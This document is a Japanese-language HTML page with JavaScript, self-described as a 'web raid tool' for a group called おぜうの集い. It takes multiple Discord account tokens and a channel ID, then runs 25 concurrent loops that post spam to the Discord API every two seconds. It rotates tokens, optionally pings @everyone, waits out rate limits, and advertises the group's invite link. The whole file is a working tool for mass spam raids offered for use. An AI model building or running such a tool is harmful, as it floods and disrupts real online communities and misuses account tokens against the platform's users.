<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>おぜうの集い｜Web荒らしツール</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        input, button, textarea { margin: 10px 0; display: block; width: 100%; padding: 10px; }
        textarea { height: 100px; }
    </style>
</head>
<body>

    <h2>おぜうの集い｜Web荒らしツール</h2>

    <label>トークン (改行区切りで複数可):</label>
    <textarea id="tokens" placeholder="複数のトークンを改行で入力"></textarea>

    <label>チャンネルID:</label>
    <input type="text" id="channelId" placeholder="送信先のチャンネルIDを入力">

    <label>
        <input type="checkbox" id="everyoneCheck"> everyoneを有効にする
    </label>

    <button onclick="startSending()">メッセージ送信開始</button>
    <button onclick="stopSending()">送信停止</button>

    <h3>ログ:</h3>
    <div id="log" style="white-space: pre-wrap;"></div>

    <script>
        let message = "\n# おぜう万歳\n**おぜうの集いにより荒らされました\n# 今すぐjoin!!\n**discord.gg/ozeu**\nhttps://media.discordapp.net/attachments/1341829977850646668/1353001058405978172/IMB_DZBN6p.gif"
        let threadCount = 25
        let sending = false;

        function getRandomToken(tokens) {
            return tokens[Math.floor(Math.random() * tokens.length)];
        }

        async function sendMessage(tokens, channelId, message, addEveryone) {
            if (!sending) return;

            const token = getRandomToken(tokens);
            const url = `https://discord.com/api/v9/channels/${channelId}/messages`;
            const headers = {
                "Content-Type": "application/json",
                "Authorization": token
            };

            const finalMessage = addEveryone ? `@everyone\n${message}` : message;

            const payload = {
                "content": finalMessage,
                "tts": false
            };

            try {
                const response = await fetch(url, {
                    method: "POST",
                    headers: headers,
                    body: JSON.stringify(payload)
                });

                if (response.status === 200) {
                    logMessage(` 送信成功: ${channelId}`);
                } else {
                    const errorData = await response.json();
                    if (response.status === 429) {
                        logMessage(`レートリミット! ${errorData.retry_after}ms 待機`);
                        await new Promise(resolve => setTimeout(resolve, errorData.retry_after));
                    } else {
                        logMessage(`エラー: ${response.status} - ${JSON.stringify(errorData)}`);
                    }
                }
            } catch (error) {
                logMessage(`エラー: ${error.message}`);
            }

            setTimeout(() => sendMessage(tokens, channelId, message, addEveryone), 2000);
        }

        function logMessage(message) {
            const logElement = document.getElementById("log");
            logElement.innerHTML += message + "\n";
        }

        function startSending() {
            const tokens = document.getElementById("tokens").value.trim().split("\n").map(t => t.trim()).filter(t => t);
            const channelId = document.getElementById("channelId").value.trim();
            const addEveryone = document.getElementById("everyoneCheck").checked;

            if (tokens.length === 0 || !channelId || !message) {
                alert("トークン or チャンネルIDを入力してください。");
                return;
            }

            sending = true;
            logMessage(`送信開始: ${threadCount} スレッド`);

            for (let i = 0; i < threadCount; i++) {
                sendMessage(tokens, channelId, message, addEveryone);
            }
        }

        function stopSending() {
            sending = false;
            logMessage("送信停止");
        }
    </script>

</body>
</html>
